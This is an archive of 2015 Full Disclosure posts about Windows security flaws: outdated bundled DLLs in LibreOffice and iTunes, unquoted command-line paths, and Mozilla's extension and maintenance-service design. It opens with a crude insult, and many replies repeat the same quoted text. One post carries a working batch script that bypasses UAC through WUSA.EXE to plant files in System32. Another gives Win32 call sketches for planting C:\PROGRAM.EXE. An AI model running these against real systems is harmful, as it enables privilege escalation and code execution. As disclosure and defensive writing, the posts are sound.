all. Posting on top because that's where the cursor happens to be is like sh*tt*ng in your pants because that's where your *ssh*l* happens to be!
Vulnerable MSVC++ runtime distributed with LibreOffice 5.0.0 for Windows
Hi @ll, the just released latest version 5.0.0.5 of LibreOffice.org for Windows distributes (once again) a completely outdated and vulnerable MSVC++ runtime. The installer package LibreOffice_5.0.0_Win_x86.msi contains the files msvcp80.dll 8.0.50727.42 msvcr80.dll 8.0.50727.42 Microsoft.VC80.CRT.manifest 8.0.50727.42 of the initial/RTM release of the MSVC++ Runtime 2005. These DLLs have been updated serveral times since their initial release: https://support.microsoft.com/kb/919588 https://support.microsoft.com/kb/923610 https://support.microsoft.com/kb/932391 https://support.microsoft.com/kb/932392 https://support.microsoft.com/kb/954695 https://support.microsoft.com/kb/969706 https://technet.microsoft.com/security/ms09-035 https://support.microsoft.com/kb/973544 https://support.microsoft.com/kb/973882 https://support.microsoft.com/kb/2467175 https://support.microsoft.com/kb/2500212 https://technet.microsoft.com/security/ms11-025 https://support.microsoft.com/kb/2538242 For general guidelines see https://support.microsoft.com/kb/326922 Since the libraries are installed in the application's own directory they are NOT detected by Windows Update Agent (or tools like Secunia Personal Inspector) and are therefore NOT updated via Windows/Microsoft update! This is a well known problem, see https://support.microsoft.com/kb/835322, but apparently LibreOffice.org doesn't seem to care! I reported this error SEVERAL times in the past, for example see http://seclists.org/fulldisclosure/2009/Sep/0 JFTR: Windows Vista and later include NEWER versions of these DLLs, there is absolutely no need to redistribute an ancient version in your product at all (especially after Windows XP and 2003 have reached end-of-life)! stay tuned Stefan Kanthak
Re: [FD] Mozilla extensions: a security nightmare
Ansgar Wiechers bugt...@planetcobalt.net wrote: On 2015-08-05 Stefan Kanthak wrote: Mario Vilas mvi...@gmail.com wrote: If this is the case then the problem is one of bad file permissions, not the location. Incidentally, many other browsers and tons of software also store executable code in %APPDATA%. Cf. http://seclists.org/fulldisclosure/2013/Aug/198 EVERY program which stores executable code in user-writable locations is CRAPWARE and EVIL since it undermines the security boundary created by privilege separation and installation of executables in write-protected locations. Both are BASIC principles of computer security. Nonsense. Really? That only becomes an issue if anyone other than the user putting the code into the location is supposed to be running something from that location. Are you SURE that everybody who installs TB 38 knows or recognizes that TB writes executable code to their user profile(s)? Who is but the user who puts the code into that location in the first place? The user who executes TB and let it create/update the profile? The administrator who installs TB? The creator of TBs installer? Otherwise you'd have to prevent users from putting scripts or standalone executables anywhere they have write access. No. Writing executable code is NOT the problem here. The problem is running this code AFTER it has been tampered. (Not only) Mozilla but does NOT detect tampered code. Which is somewhat less than desirable (or feasible) in most environments. I recommend to get the idea of write Xor execute... The problem with browser extensions is that they're exposed to input from the outside world, which could make them remotely exploitable in case of a vulnerability, and that user-installed extensions are not subject to company software update procedures. That's still ANOTHER problem. regards Stefan
Re: [FD] Mozilla extensions: a security nightmare
Mario Vilas mvi...@gmail.com wrote: This makes no sense. Right. W^X obviously doesnt make sense to YOU. Administrator can write everywhere and users can write their own directories. There is no privilege escalation here, no security boundary being crossed. Who wrote anything about privilege escalation here? Burn your strawmen somewehre else. Stefan PS: STOP top-posting, NOW! On Thu, Aug 6, 2015 at 7:30 PM, Stefan Kanthak stefan.kant...@nexgo.de wrote: Mario Vilas mvi...@gmail.com wrote: If it can only be written by your own user, what would be the security boundary being crossed here? Please read AGAIN what I already wrote! | The security boundary created by privilege separation ie. Administrator/root vs. user | and installation of executables in write-protected locations. ie. %ProgramFiles% or /usr/bin, where only privileged users can write. regards Stefan PS: top-posting is EVIL too! On Wed, Aug 5, 2015 at 5:33 PM, Stefan Kanthak stefan.kant...@nexgo.de wrote: Mario Vilas mvi...@gmail.com wrote: %APPDATA% is within the user's home directory - by default it should not be writeable by other users. Did I mention OTHER users? Clearly not, so your argument is moot. If this is the case then the problem is one of bad file permissions, not the location. Incidentally, many other browsers and tons of software also store executable code in %APPDATA%. Cf. http://seclists.org/fulldisclosure/2013/Aug/198 EVERY program which stores executable code in user-writable locations is CRAPWARE and EVIL since it undermines the security boundary created by privilege separation and installation of executables in write-protected locations. Both are BASIC principles of computer security. I think security nightmare may be a bit of an overstatement here. No, it's just the right wording since it violates two basic principles. I'll refrain from panicking about this issue for the time being. JFTR: top posting is a bad habit too! On Tue, Aug 4, 2015 at 3:22 PM, Stefan Kanthak stefan.kant...@nexgo.de wrote: Hi @ll, Mozilla Thunderbird 38 and newer installs and activates per default the 'Lightning' extension. Since extensions live in the (Firefox and) Thunderbird profiles (which are stored beneath %APPDATA% in Windows) and 'Lightning' comes (at least for Windows) with a DLL and some Javascript, Thunderbird with 'Lightning' violates one of the mandatory and basic requirements of the now 20 year old Designed for Windows guidelines and breaks a security boundary: applications must be installed in %ProgramFiles% where they are protected against tampering by unprivileged users (and of course malware running in their user accounts too) since only privileged users can write there. Code installed in %APPDATA% (or any other user-writable location) is but not protected against tampering. This is a fundamental flaw of (not only) Mozilla's extensions, and a security nightmare. Separation of code from (user) data also allows to use whitelisting (see https://technet.microsoft.com/en-us/library/bb457006.aspx for example) to secure Windows desktops and servers: users (and of course Windows too) don't need to run code stored in their user profiles, they only need to run the installed programs/applications, so unwanted software including malware can easily be blocked from running. JFTR: current software separates code from data in virtual memory and uses write xor execute or data execution prevention to prevent both tampering of code and execution of data. The same separation and protection can and of course needs to be applied to code and data stored in the file system too! The Lightning extension for Windows but defeats the tamper protection and code/data separation provided by Windows: 1. its calbasecomps.dll can be replaced or overwritten with an arbitrary DLL which DllMain() is executed every time this DLL is loaded; 2. its (XUL/chrome) Javascripts can be replaced or overwritten and used to load and call arbitrary DLLs via js-ctypes. Only non-XUL/chrome Javascript is less critical since its execution is confined by (Firefox and) Thunderbird and subject to the restrictions imposed by these programs for non-XUL/chrome Javascript. Mitigation(s): ~~ Disable profile local installation of extensions in Mozilla products, enable ONLY application global installation of extensions. stay tuned Stefan Kanthak ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/ -- There's a reason we separate military and the police: one fights the enemy of the state, the other
Re: [FD] Mozilla extensions: a security nightmare
Mario Vilas mvi...@gmail.com wrote: If it can only be written by your own user, what would be the security boundary being crossed here? Please read AGAIN what I already wrote! | The security boundary created by privilege separation ie. Administrator/root vs. user | and installation of executables in write-protected locations. ie. %ProgramFiles% or /usr/bin, where only privileged users can write. regards Stefan PS: top-posting is EVIL too! On Wed, Aug 5, 2015 at 5:33 PM, Stefan Kanthak stefan.kant...@nexgo.de wrote: Mario Vilas mvi...@gmail.com wrote: %APPDATA% is within the user's home directory - by default it should not be writeable by other users. Did I mention OTHER users? Clearly not, so your argument is moot. If this is the case then the problem is one of bad file permissions, not the location. Incidentally, many other browsers and tons of software also store executable code in %APPDATA%. Cf. http://seclists.org/fulldisclosure/2013/Aug/198 EVERY program which stores executable code in user-writable locations is CRAPWARE and EVIL since it undermines the security boundary created by privilege separation and installation of executables in write-protected locations. Both are BASIC principles of computer security. I think security nightmare may be a bit of an overstatement here. No, it's just the right wording since it violates two basic principles. I'll refrain from panicking about this issue for the time being. JFTR: top posting is a bad habit too! On Tue, Aug 4, 2015 at 3:22 PM, Stefan Kanthak stefan.kant...@nexgo.de wrote: Hi @ll, Mozilla Thunderbird 38 and newer installs and activates per default the 'Lightning' extension. Since extensions live in the (Firefox and) Thunderbird profiles (which are stored beneath %APPDATA% in Windows) and 'Lightning' comes (at least for Windows) with a DLL and some Javascript, Thunderbird with 'Lightning' violates one of the mandatory and basic requirements of the now 20 year old Designed for Windows guidelines and breaks a security boundary: applications must be installed in %ProgramFiles% where they are protected against tampering by unprivileged users (and of course malware running in their user accounts too) since only privileged users can write there. Code installed in %APPDATA% (or any other user-writable location) is but not protected against tampering. This is a fundamental flaw of (not only) Mozilla's extensions, and a security nightmare. Separation of code from (user) data also allows to use whitelisting (see https://technet.microsoft.com/en-us/library/bb457006.aspx for example) to secure Windows desktops and servers: users (and of course Windows too) don't need to run code stored in their user profiles, they only need to run the installed programs/applications, so unwanted software including malware can easily be blocked from running. JFTR: current software separates code from data in virtual memory and uses write xor execute or data execution prevention to prevent both tampering of code and execution of data. The same separation and protection can and of course needs to be applied to code and data stored in the file system too! The Lightning extension for Windows but defeats the tamper protection and code/data separation provided by Windows: 1. its calbasecomps.dll can be replaced or overwritten with an arbitrary DLL which DllMain() is executed every time this DLL is loaded; 2. its (XUL/chrome) Javascripts can be replaced or overwritten and used to load and call arbitrary DLLs via js-ctypes. Only non-XUL/chrome Javascript is less critical since its execution is confined by (Firefox and) Thunderbird and subject to the restrictions imposed by these programs for non-XUL/chrome Javascript. Mitigation(s): ~~ Disable profile local installation of extensions in Mozilla products, enable ONLY application global installation of extensions. stay tuned Stefan Kanthak ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/ -- There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.
Re: [FD] Mozilla extensions: a security nightmare
Mario Vilas mvi...@gmail.com wrote: %APPDATA% is within the user's home directory - by default it should not be writeable by other users. Did I mention OTHER users? Clearly not, so your argument is moot. If this is the case then the problem is one of bad file permissions, not the location. Incidentally, many other browsers and tons of software also store executable code in %APPDATA%. Cf. http://seclists.org/fulldisclosure/2013/Aug/198 EVERY program which stores executable code in user-writable locations is CRAPWARE and EVIL since it undermines the security boundary created by privilege separation and installation of executables in write-protected locations. Both are BASIC principles of computer security. I think security nightmare may be a bit of an overstatement here. No, it's just the right wording since it violates two basic principles. I'll refrain from panicking about this issue for the time being. JFTR: top posting is a bad habit too! On Tue, Aug 4, 2015 at 3:22 PM, Stefan Kanthak stefan.kant...@nexgo.de wrote: Hi @ll, Mozilla Thunderbird 38 and newer installs and activates per default the 'Lightning' extension. Since extensions live in the (Firefox and) Thunderbird profiles (which are stored beneath %APPDATA% in Windows) and 'Lightning' comes (at least for Windows) with a DLL and some Javascript, Thunderbird with 'Lightning' violates one of the mandatory and basic requirements of the now 20 year old Designed for Windows guidelines and breaks a security boundary: applications must be installed in %ProgramFiles% where they are protected against tampering by unprivileged users (and of course malware running in their user accounts too) since only privileged users can write there. Code installed in %APPDATA% (or any other user-writable location) is but not protected against tampering. This is a fundamental flaw of (not only) Mozilla's extensions, and a security nightmare. Separation of code from (user) data also allows to use whitelisting (see https://technet.microsoft.com/en-us/library/bb457006.aspx for example) to secure Windows desktops and servers: users (and of course Windows too) don't need to run code stored in their user profiles, they only need to run the installed programs/applications, so unwanted software including malware can easily be blocked from running. JFTR: current software separates code from data in virtual memory and uses write xor execute or data execution prevention to prevent both tampering of code and execution of data. The same separation and protection can and of course needs to be applied to code and data stored in the file system too! The Lightning extension for Windows but defeats the tamper protection and code/data separation provided by Windows: 1. its calbasecomps.dll can be replaced or overwritten with an arbitrary DLL which DllMain() is executed every time this DLL is loaded; 2. its (XUL/chrome) Javascripts can be replaced or overwritten and used to load and call arbitrary DLLs via js-ctypes. Only non-XUL/chrome Javascript is less critical since its execution is confined by (Firefox and) Thunderbird and subject to the restrictions imposed by these programs for non-XUL/chrome Javascript. Mitigation(s): ~~ Disable profile local installation of extensions in Mozilla products, enable ONLY application global installation of extensions. stay tuned Stefan Kanthak ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives RSS: http://seclists.org/fulldisclosure/
Mozilla extensions: a security nightmare
Hi @ll, Mozilla Thunderbird 38 and newer installs and activates per default the 'Lightning' extension. Since extensions live in the (Firefox and) Thunderbird profiles (which are stored beneath %APPDATA% in Windows) and 'Lightning' comes (at least for Windows) with a DLL and some Javascript, Thunderbird with 'Lightning' violates one of the mandatory and basic requirements of the now 20 year old Designed for Windows guidelines and breaks a security boundary: applications must be installed in %ProgramFiles% where they are protected against tampering by unprivileged users (and of course malware running in their user accounts too) since only privileged users can write there. Code installed in %APPDATA% (or any other user-writable location) is but not protected against tampering. This is a fundamental flaw of (not only) Mozilla's extensions, and a security nightmare. Separation of code from (user) data also allows to use whitelisting (see https://technet.microsoft.com/en-us/library/bb457006.aspx for example) to secure Windows desktops and servers: users (and of course Windows too) don't need to run code stored in their user profiles, they only need to run the installed programs/applications, so unwanted software including malware can easily be blocked from running. JFTR: current software separates code from data in virtual memory and uses write xor execute or data execution prevention to prevent both tampering of code and execution of data. The same separation and protection can and of course needs to be applied to code and data stored in the file system too! The Lightning extension for Windows but defeats the tamper protection and code/data separation provided by Windows: 1. its calbasecomps.dll can be replaced or overwritten with an arbitrary DLL which DllMain() is executed every time this DLL is loaded; 2. its (XUL/chrome) Javascripts can be replaced or overwritten and used to load and call arbitrary DLLs via js-ctypes. Only non-XUL/chrome Javascript is less critical since its execution is confined by (Firefox and) Thunderbird and subject to the restrictions imposed by these programs for non-XUL/chrome Javascript. Mitigation(s): ~~ Disable profile local installation of extensions in Mozilla products, enable ONLY application global installation of extensions. stay tuned Stefan Kanthak
iTunes 12.2 and QuickTime 7.7.7 for Windows: still outdated and VULNERABLE 3rd party libraries, still UNQUOTED and VULNERABLE pathnames C:\Program Files\...
Hi @ll, the just released QuickTime 7.7.7 and iTunes 12.2 for Windows still have quite some of the BLOODY beginners errors I already documented in the past. QuickTime 7.7.7, QuickTime.msi unquoted pathname of executables in command line [HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media\QuickTime\shell\open\command] @=C:\\Program Files\\QuickTime\\QuickTimePlayer.exe iTunes 12.2, AppleMobileDeviceSupport.msi outdated 3rd party libraries: * libcurl 7.16.2 is NINE years old and has at least 25 unfixed CVEs! The current version is 7.43.0; for the fixed vulnerabilities see http://curl.haxx.se/docs/security.html * libeay32.dll and ssleay32.dll 0.9.8za from 2014-06-05 The current version is 0.9.8zg and has 24 security fixes which are missing in 0.9.8za; see http://openssl.org/news/ Apple STILL doesnt care about customer security, so better STAY AWAY from their insecure software! Stefan Kanthak
Defense in depth -- the Mozilla way: return and exit codes are dispensable
Hi @ll, since some time Mozilla Firefox and Thunderbird for Windows come with a maintenance service (running privileged under the SYSTEM account): https://support.mozilla.org/en-US/kb/what-mozilla-maintenance-service The maintenanceservice_installer.exe (which is extracted into the resp. installation directory) is executed during the end of the Firefox/Thunderbird installation when the user has not deselected the [x] Install maintenance service option ... and has quite some deficiencies: #1. it exits with code 0, even when it fails to install the maintenance service. To trigger such a failure create an (empty) file %ProgramFiles%\Mozilla Maintenance Service. #2. the main installers ['][²] don't check the return code of the call used to start the maintenanceservice_installer.exe and don't inform the user who started the installation about this failure. Apparently Mozilla's developers never learnt the 101 of computer programming: ALWAYS check return and exit codes! To trigger this failure add the NTFS ACE (D;OIIO;WP;;;WD) meaning Deny execution of files for everyone, inheritable to all files in all subdirectories to your %USERPROFILE% and perform a user-defined installation to the custom installation directory %USERPRPROFILE\Desktop\Mozilla. JFTR: after setting this NTFS ACE (as well as activating SAFER alias software restriction policies or Windows' parental controls; see http://mechbgon.com/srp/) all methods Mozilla uses to update their products fail: Mozilla products download an executable ['][²] into their profiles but don't check whether execution is allowed there, nor do they check the return code of the call used to start this executable! #3. it ignores a user-defined custom installation directory, but uses the hardcoded %ProgramFiles%\Mozilla Maintenance Service. [Mozilla] That is intentional since the service runs as the system and could be exploited. The BOFH creates a junction MkLink /J %ProgramFiles%\Mozilla Maintenance Service %USERPROFILE%\Desktop and runs the installer [³]. OUCH! The files created on the desktop are exploitable: they inherited the NTFS DACL of the parent directory giving full access to the user. JFTR: what's the difference of a user-defined custom installation directory via the corresponding installer option and the redirection via reparse point? The installer ignores the first, why not ignore the latter too? [Mozilla] The maintenance service is a shared component of Firefox and Thunderbird. According to the 20+ years old Designed for Windows guidelines! shared components go to %CommonProgramFiles%\vendor\component. JFTR: are you kidding? (why) are Gecko, NSS, XUL, ICU etc. NO shared components? stay tuned Stefan Kanthak ['] Windows SetupAPI exists since 20 years now and doesnt need any 3rd party binaries/executables: just write a .INF and package it with the files to install into a .CAB, then run the .INF via RunDll32.Exe AdvPack.Dll,LaunchINFSectionEx *.INF,,*.CAB,... [²] the Microsoft (now: Windows) installer exists since 15 years and was a Windows component before Mozilla started Phoenix^W Firefox. It too doesnt need any 3rd party executables. JFTR: would you dare to distribute software for a UNIX/Linux system which does not use the native package manager of the target system? [³] quite some script kiddies have the bad habit to move %ProgramFiles% away from %SystemDrive%, despite http://support.microsoft.com/kb/949977 or http://support.microsoft.com/kb/2876597: they create a junction or symlink from %ProgramFiles% to some other location but typically forget to set an appropriate NTFS DACL on the target to protect the files installed there from tampering/exploitation.
Defense in depth -- the Microsoft way (part 30): on exploitable Win32 functions
Hi @ll, since Microsoft won't -- despite (hopefully not only) my constant nagging and quite some bug reports about unquoted command lines for more than a dozen years now -- fix the BRAINDEAD behaviour of Windows' CreateProcess*() functions to play tryerror instead of returning on error to their caller when interpreting their lpCommandLine argument which lets the BLOODY BEGINNER's error known as CWE-428 https://cwe.mitre.org/data/definitions/428.html go undetected, I'll show some methods including the preconditions on how to exploit it, i.e. execute a file of my choice. JFTR: none of these methods should be new or unknown to any Windows administrator, developer or QA engineer.-P JFTR: in Microsoft's own terms these methods don't qualify as security vulnerabilities due to their precondition(s). #1. Preconditions: * a file in %SystemDrive%\ which can be opened with the access rights GENERIC_WRITE | DELETE and the attribute FILE_FLAG_BACKUP_SEMANTICS; * a user account holding the privilege SE_RESTORE_NAME. https://msdn.microsoft.com/en-us/library/aa365543.aspx Exploit: handle = CreateFile(LC:\\..., GENERIC_WRITE | DELETE, ..., NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); SetFileShortName(handle, LPROGRAM.EXE) #2. Preconditions: * an empty file in %SystemDrive%\ which can be opened with the access rights FILE_WRITE_EA | FILE_WRITE_ATTRIBUTES and the attribute FILE_FLAG_OPEN_REPARSE_POINT; * a user account holding the privileges SE_RESTORE_NAME and SE_CREATE_SYMBOLIC_LINK_NAME. Exploit: handle = CreateFile(LC:\\..., FILE_WRITE_EA | FILE_WRITE_ATTRIBUTES, ..., NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT, NULL); DeviceIoControl(handle, FSCTL_SET_REPARSE_POINT, ... Now wait until some program written by a dimwit of a developer who (and of course his/her supervisors and QA too) never heard of long filenames (which means they must have lived beneath a rock for more than 20 years) executes your C:\PROGRAM.EXE 20+ years old: https://support.microsoft.com/kb/102739/en-us https://support.microsoft.com/kb/134425/en-us ~20 years old: https://support.microsoft.com/kb/170669/en-us 10+ years old: https://support.microsoft.com/kb/812486/en-us Primary candidates: Apple iTunes, Microsoft .NET Framework 3.5 SP1 x64 (as preinstalled on Windows 7 x64 and Windows 2008 R2 AD controllers), WHQL-certified drivers from HP, ALPS[*], Realtek[*], Samsung, Synaptics, ... (many of those are available per Windows Update and the Microsoft Update Catalog), MANY games, ... As Microsoft's Aaron Margosis wrote last November pointing out this BLOODY BEGINNER's error is unnessarily alarmist: http://blogs.msdn.com/b/aaron_margosis/archive/2014/11/14/it-rather-involved-being-on-the-other-side-of-this-airtight-hatchway-unqu oted-service-paths.aspx Of course all non-alarmists know for sure that the above named preconditions don't exist anywhere.-( What but REALLY alarmist is: companies like Apple release version after version of their products/drivers^Wcrapware without the TRIVIAL fix for this well-known vulnerability, even when notified over and over again! Defense in depth? Nope! Software engineering? Nope! BRAINDEAD behaviour of Windows CreateProcess*() functions? Yes, of course, always! Taking care for the safety and security of their customers systems? Nope! stay tuned (and far away from crapware!) Stefan Kanthak [*] see https://support.microsoft.com/library/images/2647325.png
Defense in depth -- the Microsoft way (part 31): UAC is for binary planting
Hi @ll, the exploit shown here should be well-known to every Windows administrator, developer or QA engineer. In Microsoft's own terms it doesn't qualify as security vulnerability since UAC is a security feature, not a security boundary. Preconditions: * a user running as protected Administrator on Windows 7 and newer with standard UAC settings. JFTR: this is the default for out-of-the-box installations and typically almost never changed! * some executables in directory %SystemRoot%\, but not in directory %SystemRoot%\System32\ (or %SystemRoot%\SysWoW64\); JFTR: REGEDIT.EXE is one of these executables, and it has a manifest which specifies requestedExecutionLevel level=highestAvailable, so users running as protected Administrator are accustomed to the UAC prompt when they start REGEDIT.EXE and will most probably acknowledge the privilege elevation. Exploit (to be run as a batch script): for %%! in (%SystemRoot%\*.exe %SystemRoot%\*.dll) do call :PLANT %%~nx! exit /b :PLANT if exist %SystemRoot%\System32\%~1 goto :EOF copy NUL: %TEMP%\%~1 %SystemRoot%\System32\makecab.exe %TEMP%\%~1 %TEMP%\dummy.cab %SystemRoot%\System32\wusa.exe %TEMP%\dummy.cab /extract:%SystemRoot%\System32 if /I %~x1 == .exe %~1 /? WUSA.EXE is one of the about 70 Microsoft programs which are UAC-autoelevated since Windows 7, so the user doesn't need to answer the UAC prompt when the batch script plants a file in the directory %SystemRoot%\System32\ Mitigations: * set the UAC control to ask always (as it was in Windows Vista) * remove the user accounts created during setup from the Administrators group and place them in the Users group, i.e. demote these accounts from Administrator to Standard user. Start-Run control.exe userpasswords2 alias rundll32.exe netplwiz.dll,UsersRunDll allows this operation! JFTR: don't forget to enable the builtin Administrator account. Cf. http://windows.microsoft.com/en-us/windows/user-accounts-faq | There are three types of accounts. Each type gives you a different | level of control over the PC: | * Administrator accounts provide the most control over a PC, and | should be used sparingly. You probably created this type of | account when you first started using your PC. | * Standard accounts are for everyday use. If you're setting up | accounts for other people on your PC, it's a good idea to give | them standard accounts. stay tuned Stefan Kanthak
Defense in depth -- the Microsoft way (part 29): contradicting, ambiguous, incomplete documentation
Hi @ll, the MSDN documents the BRAINDEAD behaviour of the functions CreateProcess() https://msdn.microsoft.com/en-us/library/ms682425.aspx, CreateProcessAsUser() https://msdn.microsoft.com/en-us/library/ms682429.aspx CreateProcessWithLogonW() https://msdn.microsoft.com/en-us/library/ms682431.aspx CreateProcessWithTokenW() https://msdn.microsoft.com/en-us/library/ms682434.aspx for an unquoted long pathname of the executable in command lines: | [...] the module name must be the first white space-delimited token in | the lpCommandLine string. If you are using a long file name that contains | a space, use quoted strings to indicate where the file name ends and the | arguments begin; otherwise, the file name is ambiguous. | For example, consider the string c:\program files\sub dir\program name. | This string can be interpreted in a number of ways. The system tries | to interpret the possibilities in the following order: ~ ~~ | | c:\program.exe files\sub dir\program name | c:\program files\sub.exe dir\program name | c:\program files\sub dir\program.exe name | c:\program files\sub dir\program name.exe ... | [...] the first white space-delimited token of the command line | specifies the module name. If you are using a long file name that | contains a space, use quoted strings to indicate where the file name | ends and the arguments begin [...] If the file name does not contain | an extension, .exe is appended. [...] if the file name contains a path, | .exe is not appended. ~ ~ 1. self-contradictory/ambiguous: If the second underlined clause of the documentation were correct, and the usual definition of path(name) ['] is assumed (so c:\, c:\program files\sub and c:\program files\sub dir\program qualify as pathnames), the interpretation of the string c:\program files\sub dir\program name given above would be wrong. The interpretation given above but matches the observed behaviour of the CreateProcess*() functions, therefore the underlined clause of the documentation is WRONG and should be removed! 2. incomplete/ambiguous: the documentation does not specify what tries to interpret the possibilities exacly means: using the example given above, is CreateProcess*() expected to skip c:\program.exe, c:\program files\sub.exe and/or c:\program files\sub dir\program.exe if they exist but are not executable a) due to invalid file contents? Observed behaviour: CreateProcess*() tries to execute c:\program.exe etc. and returns ERROR_BAD_EXE_FORMAT, ERROR_EXE_MARKED_INVALID, ERROR_INVALID_EXE_SIGNATURE, etc. b) due to insufficient permissions? Observed behaviour: CreateProcess*() tries to execute c:\program.exe etc. and returns ERROR_ACCESS_DENIED! c) because they are an unsupported or unknown [²] reparse point? Observed behaviour: CreateProcess*() tries to execute c:\program.exe etc. and returns ERROR_CANT_ACCESS_FILE, ERROR_ACCESS_DENIED, ERROR_FILE_NOT_FOUND, etc. d) because they are a directory (including directories overlaid with a reparse point), a mount point, a junction to a directory or a symlink to a directory? Observed behaviour: in contradiction to MSKB 812486 [³] CreateProcess*() does not try to execute a directory c:\program.exe etc. and skips it. Skipping over directories or reparse points targetting directories is but surprising behaviour, since CreateProcess*(directory, NULL, ...) and CreateProcess*(NULL, directory, ...) return (as expected) ERROR_ACCESS_DENIED! 3. incomplete/surprising: The observed behaviour for CreateProcess(NULL, C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe, ...) is: CreateProcess*() tries to execute C:\Program.exe and C:\Program Files (x86)\Internet.exe, but NOT C:\Program Files.exe WTF? Why is C:\Program Files.exe NOT a possibility to try? 4. incomplete: when CreateProcess*() is called (for example) with the command line c:\program files\sub dir\program name and plays tryerror, the executed application does NOT receive the original command line, but a MODIFIED command line: - c:\program files\sub.exe dir\program name - c:\program files\sub dir\program.exe name - c:\program files\sub dir\program.exe name.exe i.e. the pathname of the found executable gets quoted if it contains a space. The documentation of the function GetCommandLine() https://msdn.microsoft.com/en-us/library/ms683156.aspx but misses this completely! Stay tuned! regards Stefan Kanthak ['] as soon as a name contains a single '\' or ':' it is a pathname! Cf. https://msdn.microsoft.com/en-us/library/aa365247.aspx [²] https://msdn.microsoft.com/en-us/library/aa365503.aspx: | When the file system opens a file
iTunes 12.1.1 for Windows: still outdated and VULNERABLE 3rd party libraries, still UNQUOTED and VULNERABLE pathnames C:\Program Files\...
Hi @ll,
the just released iTunes 12.1.1 for Windows still comes with
outdated and VULNERABLE 3rd party libraries and vulnerable
command lines:
In AppleMobileDeviceSupport.msi:
* libeay32.dll and ssleay32.dll 0.9.8za from 2014-06-05
The current version is 0.9.8ze and has 21 security fixes
which are missing in 0.9.8za; see http://openssl.org/news/
At last, these DLLs are no more 7 years old as before, but
only 8 months old.
* libcurl.dll 7.16.2
is EIGHT years old and has at least 22 unfixed CVEs!
The current version is 7.40.0; for the fixed vulnerabilities
see http://curl.haxx.se/docs/security.html
An attacker can load these vulnerable DLLs and call their buggy
routines to exploit these bugs!
In AppleApplicationSupport.msi:
* msvcr100.dll and msvcp100.dll 10.0.40219.1 from 2011-02-20
These are the runtime DLLs for Visual C++ 2010 RTM.
The current version is but 10.0.40219.325; see
https://technet.microsoft.com/library/security/bulletin/MS11-025
An attacker can load these vulnerable DLLs and and call their
buggy routines to exploit their bugs!
Additionally the following VULNERABLE[*] command lines with unquoted
pathnames containing spaces are registered.
By AppleApplicationSupport.msi:
[HKEY_CLASSES_ROOT\CLSID\{fdd068c2-d51a-4175-8a20-5cbc704ea3bd}\LocalServer32]
@=[#AppleApplicationSupport_APSDaemon.exe]
[HKEY_CLASSES_ROOT\CLSID\{6812639B-FD61-4329-9901-22CFDBD690FE}\LocalServer32]
@=[#AppleApplicationSupport_APSDaemon.exe]
[HKEY_CLASSES_ROOT\CLSID\{D9E904CA-8865-42E7-B0F0-B7B8C4D54D70}\LocalServer32]
@=[#AppleApplicationSupport_APSDaemon.exe]
For beginners: the value of the unnamed registry entry is a COMMAND
LINE and has to be quoted properly!
From https://msdn.microsoft.com/library/ms683844.aspx
| To help provide system security, use quoted strings in the path to
| indicate where the executable filename ends and the arguments begin.
As of Windows 2003 developers who are NOT completely unaware of
Microsofts documentation might want to use the ServerExecutable
registry entry described there too.
But 12 years are surely way too short for Apple's developers, QA and
management to learn about such new features which help improve safety
and security.
By iTunes.msi:
[HKEY_CLASSES_ROOT\itms\shell\open\command]
@=[#iTunes.exe] /url \%1\
[HKEY_CLASSES_ROOT\iTunes\shell\open\command]
@=[#iTunes.exe] /url \%1\
[HKEY_CLASSES_ROOT\daap\shell\open\command]
@=[#iTunes.exe] /url \%1\
[HKEY_CLASSES_ROOT\itmss\shell\open\command]
@=[#iTunes.exe] /url \%1\
[HKEY_CLASSES_ROOT\itsradio\shell\open\command]
@=[#iTunes.exe] /url \%1\
[HKEY_CLASSES_ROOT\itunesradio\shell\open\command]
@=[#iTunes.exe] /url \%1\
[HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media\iTunes\shell\open\command]
@=[#iTunes.exe]
[HKEY_CLASSES_ROOT\itpc\shell\open\command]
@=[#iTunes.exe] /url \%1\
[HKEY_CLASSES_ROOT\itls\shell\open\command]
@=[#iTunes.exe] /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.itls\shell\open\command]
@=[INSTALLDIR]iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\pcast\shell\open\command]
@=[INSTALLDIR]iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.daap\shell\open\command]
@=[INSTALLDIR]iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.itms\shell\open\command]
@=[INSTALLDIR]iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.itmss\shell\open\command]
@=[INSTALLDIR]iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.itpc\shell\open\command]
@=[INSTALLDIR]iTunes.exe /url \%1\
[HKEY_CLASSES_ROOT\iTunes.AssocProtocol.pcast\shell\open\command]
@=[INSTALLDIR]iTunes.exe /url \%1\
From http://msdn.microsoft.com/library/cc144175.aspx:
| If any element of the command string contains or might contain
| spaces, it must be enclosed in quotation marks. Otherwise, if
~~~
| the element contains a space, it will not parse correctly.
JFTR: the command lines referenced above are about 1/3 of all
the command lines registered by iTunes.msi; the other 2/3
have properly quoted pathnames.
See http://home.arcor.de/skanthak/sentinel.html if you want to
detect software with this 20+ year old vulnerability[*] without
dissecting its *.MSI files.
Until Apple's developers, their QA and their managers start to
develop a sense for their customers safety and security and
due diligence: stay away from Apple's (Windows) software!
stay tuned
Stefan Kanthak
[*] https://cwe.mitre.org/data/definitions/428.html
You'll read more about it soon!
Defense in depth -- the Microsoft way (part 28): yes, we can (create even empty, but properly quoted pathnames)
